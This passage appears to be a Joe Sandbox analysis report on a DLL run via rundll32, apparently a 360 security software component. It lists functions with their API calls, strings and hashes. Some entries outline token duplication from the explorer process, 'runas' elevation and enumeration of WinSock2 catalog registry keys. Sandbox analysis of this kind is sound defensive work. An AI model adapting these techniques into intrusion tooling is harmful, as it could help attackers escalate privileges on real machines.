Part of subcall function 000000018000892C: GetProcAddress.KERNEL32 ref: 000000018000897B
Part of subcall function 000000018000892C: RegCloseKey.ADVAPI32 ref: 00000001800089E0

PathFileExistsW.SHLWAPI ref: 0000000180056396

Strings

safemon\360ExtHost.exe, xrefs: 000000018005636E
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360ExtHost.exe, xrefs: 0000000180056213

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Path$AppendCloseFileModulememset$AddressExistsHandleHeapNameProcProcessQueryValue_wcsicmp
String ID: SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360ExtHost.exe$safemon\360ExtHost.exe
API String ID: 1838183957-351904165
Opcode ID: 1e39c5d7731f9f0cfe2357af418d2a02b58939d64fc7587de7a383dead0b9532
Instruction ID: 01aece9f02afbb37390a2111cb2c5fee408a8cfe5dec439bdff79febd640f7a5
Opcode Fuzzy Hash: 1e39c5d7731f9f0cfe2357af418d2a02b58939d64fc7587de7a383dead0b9532
Instruction Fuzzy Hash: 27615132614A4892EBA1DB25E8543DA73A4FB8C7E4F448315BAAD436F5DF39C749CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180052160 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 78COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32 ref: 000000018005218D

Part of subcall function 0000000180030EE8: ??3@YAXPEAX@Z.MSVCRT ref: 0000000180030F5A

??3@YAXPEAX@Z.MSVCRT ref: 00000001800521B1
??3@YAXPEAX@Z.MSVCRT ref: 0000000180052230
DeleteCriticalSection.KERNEL32(?,?,?,?,0000000180006BF2), ref: 0000000180052261

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5, xrefs: 00000001800523AF
%s\NameSpace_Catalog5\Catalog_Entries\%012d, xrefs: 000000018005235A, 0000000180052631
SYSTEM\CurrentControlSet\Services\WinSock2\Parameters, xrefs: 00000001800524C4
Num_Catalog_Entries, xrefs: 0000000180052346
Num_Catalog_Entries64, xrefs: 000000018005233F
%s\NameSpace_Catalog5\Catalog_Entries64\%012d, xrefs: 0000000180052353

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??3@$CriticalDeleteSection
String ID: %s\NameSpace_Catalog5\Catalog_Entries64\%012d$%s\NameSpace_Catalog5\Catalog_Entries\%012d$Num_Catalog_Entries$Num_Catalog_Entries64$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5
API String ID: 1297904149-2676930693
Opcode ID: 3d1b4d4945e0e21b4209534fb7adf2456145591c447b83fcd6c449b0aaaa6bb8
Instruction ID: 73cc0848a655b1fb88aa06a885314cf1e75da9385d723178a5cf1b8a64167aea
Opcode Fuzzy Hash: 3d1b4d4945e0e21b4209534fb7adf2456145591c447b83fcd6c449b0aaaa6bb8
Instruction Fuzzy Hash: F631F232741B4892EF668F25E4443DC63A0F74ABE0F588621EB5C07BA5CF39D5A9C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180049164 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61threadCOMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 000000018004919D
GetWindowThreadProcessId.USER32 ref: 00000001800491BB
OpenProcess.KERNEL32 ref: 00000001800491D6
OpenProcessToken.ADVAPI32 ref: 00000001800491FB
CloseHandle.KERNEL32 ref: 0000000180049204
DuplicateTokenEx.ADVAPI32 ref: 0000000180049235
CloseHandle.KERNEL32 ref: 000000018004924C
CloseHandle.KERNEL32 ref: 000000018004925E

Strings

Progman, xrefs: 0000000180049196
Program manager, xrefs: 000000018004918F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CloseHandleProcess$OpenTokenWindow$DuplicateFindThread
String ID: Progman$Program manager
API String ID: 3967587520-2890643340
Opcode ID: ebbe5ced9ed42ff31fb37c6026852d3e1367768f1ce4ad74df982938cc8d9eb1
Instruction ID: dc0f1755b95b22890c5ec93f314443dee37f8d14911f95f63aa97c4fa7f5c449
Opcode Fuzzy Hash: ebbe5ced9ed42ff31fb37c6026852d3e1367768f1ce4ad74df982938cc8d9eb1
Instruction Fuzzy Hash: 51217F35706B0982EF968B55EC943E563A0FB8C7D4F158125EA5A06BB4DF7CC78C8704

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003A8D4 Relevance: 16.6, APIs: 11, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A907
FindResourceW.KERNEL32(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A91F
SizeofResource.KERNEL32(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A933
LoadResource.KERNEL32(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A942
LockResource.KERNEL32(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A953
malloc.MSVCRT(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A964
memmove.MSVCRT(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A97B
FreeResource.KERNEL32(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A983
FreeLibrary.KERNEL32(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A98C
VerQueryValueW.VERSION(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A9B4
free.MSVCRT(?,00000000,?,?,00000000,000000018003AAB8,?,?,?,?,00000000), ref: 000000018003A9D9

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Resource$FreeLibraryLoad$FindLockQuerySizeofValuefreemallocmemmove
String ID:
API String ID: 3317409091-0
Opcode ID: d575d481ff84caad7d8740059adda23fe9f9648e66c4b8f54cfb60a62ec78070
Instruction ID: 8185c375a913dccbf35fde3c3455573a2fd048fb7f01b55c3a130ccbeb9ebe14
Opcode Fuzzy Hash: d575d481ff84caad7d8740059adda23fe9f9648e66c4b8f54cfb60a62ec78070
Instruction Fuzzy Hash: 09316B35606B4886EA86DF16AC0479AB3E4BB4DFC0F0A8426AE4907764EF3CD649C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019044 Relevance: 16.6, APIs: 11, Instructions: 86libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000018001906D
FindResourceW.KERNEL32 ref: 0000000180019085
SizeofResource.KERNEL32 ref: 0000000180019099
LoadResource.KERNEL32 ref: 00000001800190A8
LockResource.KERNEL32 ref: 00000001800190B9
malloc.MSVCRT ref: 00000001800190CA
memmove.MSVCRT ref: 00000001800190E1
FreeResource.KERNEL32 ref: 00000001800190E9
FreeLibrary.KERNEL32 ref: 00000001800190F2
VerQueryValueW.VERSION ref: 000000018001911A
free.MSVCRT ref: 000000018001913F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Resource$FreeLibraryLoad$FindLockQuerySizeofValuefreemallocmemmove
String ID:
API String ID: 3317409091-0
Opcode ID: c78e14dcb0124c7fdfddeb6e32502328b3625422cacc1ce2de84f055e235b1f2
Instruction ID: 7be624b5aba991f8dce8e488531e7c4bc30f0810fde0e2206e2c198a200c07cc
Opcode Fuzzy Hash: c78e14dcb0124c7fdfddeb6e32502328b3625422cacc1ce2de84f055e235b1f2
Instruction Fuzzy Hash: F5316D31702B448AEB87DF6AA84479977E0BB4CFD4F098425AE0907764EF38D64AC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003F070 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000000018003F0F4
memset.MSVCRT ref: 000000018003F111
memset.MSVCRT ref: 000000018003F126
SHEnumValueW.SHLWAPI ref: 000000018003F15C
SHGetValueW.SHLWAPI ref: 000000018003F1BF
RegCloseKey.ADVAPI32 ref: 000000018003F29C

Strings

stat, xrefs: 000000018003F0B9

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Valuememset$CloseEnumOpen
String ID: stat
API String ID: 3313869694-548994849
Opcode ID: 021697519deb37d11cec93fa9a5ab951d19f885d93b4615a5ee70ee1a279cb79
Instruction ID: bca1fd9f3236c41ce4b8b5e5b78ce057e793223580287a74ffbbd9e6a5e702b7
Opcode Fuzzy Hash: 021697519deb37d11cec93fa9a5ab951d19f885d93b4615a5ee70ee1a279cb79
Instruction Fuzzy Hash: 4E616076614A8896D7A2CF25E4403DB77A4F7897D4F518216EB9C43BA8DF39C609CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180066A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180066A90
GetModuleFileNameW.KERNEL32 ref: 0000000180066AA1
GetCommandLineW.KERNEL32 ref: 0000000180066B41
memset.MSVCRT ref: 0000000180066B85
ShellExecuteExW.SHELL32 ref: 0000000180066BCC
CloseHandle.KERNEL32 ref: 0000000180066BE1

Strings

/elevated, xrefs: 0000000180066B55
MPR.dll, xrefs: 0000000180066AC1
runas, xrefs: 0000000180066B9B

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memset$CloseCommandExecuteFileHandleLineModuleNameShell
String ID: /elevated$MPR.dll$runas
API String ID: 3400839104-479190379
Opcode ID: ff0e70aebe942903d03514da05f5171b976ef8719cbab5a1757af81890fa035d
Instruction ID: c5738ef19aefcfe0893ce15e6bbb4f81d570db0aa822fd902f1c1618a14612e4
Opcode Fuzzy Hash: ff0e70aebe942903d03514da05f5171b976ef8719cbab5a1757af81890fa035d
Instruction Fuzzy Hash: 35518F32611B4481EB919B29D85039A73A5FB88BF4F108316FABE437E4DF38C649C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028C8C Relevance: 15.2, APIs: 10, Instructions: 235COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

StringFromGUID2.OLE32 ref: 0000000180028D17
_wcsupr.MSVCRT ref: 0000000180028D26
StringFromGUID2.OLE32 ref: 0000000180028DCA
_wcsupr.MSVCRT ref: 0000000180028DD8
StringFromGUID2.OLE32 ref: 0000000180028E38
_wcsupr.MSVCRT ref: 0000000180028E4A
StringFromGUID2.OLE32 ref: 0000000180028E84
_wcsupr.MSVCRT ref: 0000000180028E92
StringFromGUID2.OLE32 ref: 0000000180028EC4
_wcsupr.MSVCRT ref: 0000000180028ED5

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FromString_wcsupr$HeapProcess
String ID:
API String ID: 2249050647-0
Opcode ID: af4d7778e813cec4d2260f242f830c925d5e0839e1a4af0d89802f64c8607ec2
Instruction ID: c2b84f69b377f8d486519554b3a5ef31eab8a077f1ecb1a3c09cbb62b7b5dce0
Opcode Fuzzy Hash: af4d7778e813cec4d2260f242f830c925d5e0839e1a4af0d89802f64c8607ec2
Instruction Fuzzy Hash: A5A19E36302A4881EBE79F15D8403E963A1FB58BD4F45C116EA5E5B6E9DF38CB89D300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800421D4 Relevance: 15.2, APIs: 10, Instructions: 163networkCOMMON

Download Yara Rule

APIs

??_V@YAXPEAX@Z.MSVCRT ref: 00000001800423F9

Part of subcall function 0000000180042FC4: WideCharToMultiByte.KERNEL32 ref: 0000000180042FFB
Part of subcall function 0000000180042FC4: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180043016
Part of subcall function 0000000180042FC4: WideCharToMultiByte.KERNEL32 ref: 000000018004306B

Part of subcall function 0000000180066050: EnterCriticalSection.KERNEL32 ref: 0000000180066098
Part of subcall function 0000000180066050: LeaveCriticalSection.KERNEL32 ref: 00000001800660E1

Part of subcall function 0000000180043154: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180043187
Part of subcall function 0000000180043154: htonl.WS2_32 ref: 00000001800431F3

??_V@YAXPEAX@Z.MSVCRT ref: 000000018004228E
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800422DA
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180042302
htons.WS2_32 ref: 000000018004234A
htonl.WS2_32 ref: 0000000180042358
htons.WS2_32 ref: 0000000180042366
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0000000180042385
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800423AB
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800423D3

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ByteCharCriticalMultiSectionWidehtonlhtons$EnterLeavememmove
String ID:
API String ID: 505489203-0
Opcode ID: a07653937a79e70b2ab9cb09c4e22017cd899243124cbf7044e450a9eefd8b59
Instruction ID: 546e40b67bc81cdcf22b9085e67948acfa9500907e31d87aed3a5e4506fe483b
Opcode Fuzzy Hash: a07653937a79e70b2ab9cb09c4e22017cd899243124cbf7044e450a9eefd8b59
Instruction Fuzzy Hash: A6711C32B05B548AFB96CFA1E8403ED33B5B70879DF468025EE5627A98DF38C659C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180052280 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 220COMMON

Download Yara Rule

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5, xrefs: 00000001800523AF
%s\NameSpace_Catalog5\Catalog_Entries\%012d, xrefs: 000000018005235A, 0000000180052631
Num_Catalog_Entries, xrefs: 0000000180052346
Num_Catalog_Entries64, xrefs: 000000018005233F
%s\NameSpace_Catalog5\Catalog_Entries64\%012d, xrefs: 0000000180052353

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID: %s\NameSpace_Catalog5\Catalog_Entries64\%012d$%s\NameSpace_Catalog5\Catalog_Entries\%012d$Num_Catalog_Entries$Num_Catalog_Entries64$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5
API String ID: 0-1196714001
Opcode ID: 568fd741c3bdcc21c426c5afc4ac46b45918c5554304f1a676603b4f6589036a
Instruction ID: 902fc08f0a24e927d00bac490aa4b2e4fc0ab2cffff010c51715f7c20a33671b
Opcode Fuzzy Hash: 568fd741c3bdcc21c426c5afc4ac46b45918c5554304f1a676603b4f6589036a
Instruction Fuzzy Hash: 8B91E232701B4886EB96CB62A8407D973A0FB8DBD4F058225BF6D17795EF39CA49C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002C720 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

StringFromGUID2.OLE32 ref: 000000018002C7A1
_wcsupr.MSVCRT ref: 000000018002C7AF
SysFreeString.OLEAUT32 ref: 000000018002C8DA
??_V@YAXPEAX@Z.MSVCRT ref: 000000018002C8EC
??3@YAXPEAX@Z.MSVCRT ref: 000000018002C8FE
_wtoi.MSVCRT ref: 000000018002C9F2

Strings

internetshortcut, xrefs: 000000018002C96B
hotkey, xrefs: 000000018002C95A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@FreeFromHeapProcess_wcsupr_wtoi
String ID: hotkey$internetshortcut
API String ID: 2885337837-1159320594
Opcode ID: a2454b8e8b8246686a3b2ba7e9ac3c3560326eba55912cdd4e74c1efac8119ef
Instruction ID: 4557ede77b3344c9b7d134b2ef366cc1eba795b6e68afc4d6349487d3a9816dc
Opcode Fuzzy Hash: a2454b8e8b8246686a3b2ba7e9ac3c3560326eba55912cdd4e74c1efac8119ef
Instruction Fuzzy Hash: 56915972701B4886EB96DF69D84079D33A0F748BE4F44C626AA6D477E4DF38CA99C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003AA00 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156sleepthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000000018003AA41
Sleep.KERNEL32(?,?,?,?,00000000), ref: 000000018003AA64

Strings

JudgeVersion, xrefs: 000000018003AB6A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CurrentSleepThread
String ID: JudgeVersion
API String ID: 1164918020-3141317846
Opcode ID: 2437360cf512e5b62a46a09ef29253c79db304fd769a9f3e4dce4e3854d29d87
Instruction ID: 47c15e1018a900855fb3b169089698e2b9417bb7c9542535bb0a2760737ebbf6
Opcode Fuzzy Hash: 2437360cf512e5b62a46a09ef29253c79db304fd769a9f3e4dce4e3854d29d87
Instruction Fuzzy Hash: EE51AB32604A889AFB979F65DD843DE73A1F3097D4F468525EA2A83790DF34CA99C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005E750 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152filesynchronizationCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32 ref: 000000018005E831
GetFileAttributesW.KERNEL32 ref: 000000018005E898
SetFileAttributesW.KERNEL32 ref: 000000018005E8B3
DeleteFileW.KERNEL32 ref: 000000018005E909
GetLastError.KERNEL32 ref: 000000018005E919
GetLastError.KERNEL32 ref: 000000018005E921
ReleaseMutex.KERNEL32 ref: 000000018005E936

Strings

PRAGMA synchronous = OFF;, xrefs: 000000018005E7E9, 000000018005E87B

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$AttributesDeleteErrorLast$MutexRelease
String ID: PRAGMA synchronous = OFF;
API String ID: 874664252-1854902270
Opcode ID: 1145e7b794f1c9dbefaeeafce65ce3907897fb728955ac70424f53ad1c5898c9
Instruction ID: fa77642fd0660764f5a509da37546a8681fbf34ddf7b90f5fa11f8d2a21f9c13
Opcode Fuzzy Hash: 1145e7b794f1c9dbefaeeafce65ce3907897fb728955ac70424f53ad1c5898c9
Instruction Fuzzy Hash: 6551A335700B8996FEDE8F6594517B92390AB4DBD4F048524BEAE677E0DF35CA098300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800570A0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800570E7
GetModuleFileNameW.KERNEL32 ref: 00000001800570FE
PathRemoveFileSpecW.SHLWAPI ref: 0000000180057109
PathFileExistsW.SHLWAPI ref: 000000018005715E
PathFileExistsW.SHLWAPI ref: 00000001800571E7

Strings

\360ver.dll, xrefs: 000000018005711F
\QHVer.dll, xrefs: 0000000180057178
%hd.%hd.%hd.%hd, xrefs: 0000000180057233

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$Path$Exists$ModuleNameRemoveSpecmemset
String ID: %hd.%hd.%hd.%hd$\360ver.dll$\QHVer.dll
API String ID: 3680197243-1037704697
Opcode ID: 3e80556d967b03fa81a8d0e192ef84c8c157516f2ebd988b45dcbe8060877e80
Instruction ID: 3305af636dff0720fe62b84610ade698e39c861821be0ce054630d245facfc05
Opcode Fuzzy Hash: 3e80556d967b03fa81a8d0e192ef84c8c157516f2ebd988b45dcbe8060877e80
Instruction Fuzzy Hash: 73516572701A4982E751DB29D84078A77A0F789BF4F408212FA6D877E5DF39CA49CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180044568 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800445B0

Part of subcall function 00000001800463BC: ??2@YAPEAX_K@Z.MSVCRT ref: 00000001800463D3

GetTickCount.KERNEL32 ref: 000000018004461F
srand.MSVCRT ref: 0000000180044627
rand.MSVCRT ref: 000000018004462D
rand.MSVCRT ref: 0000000180044651
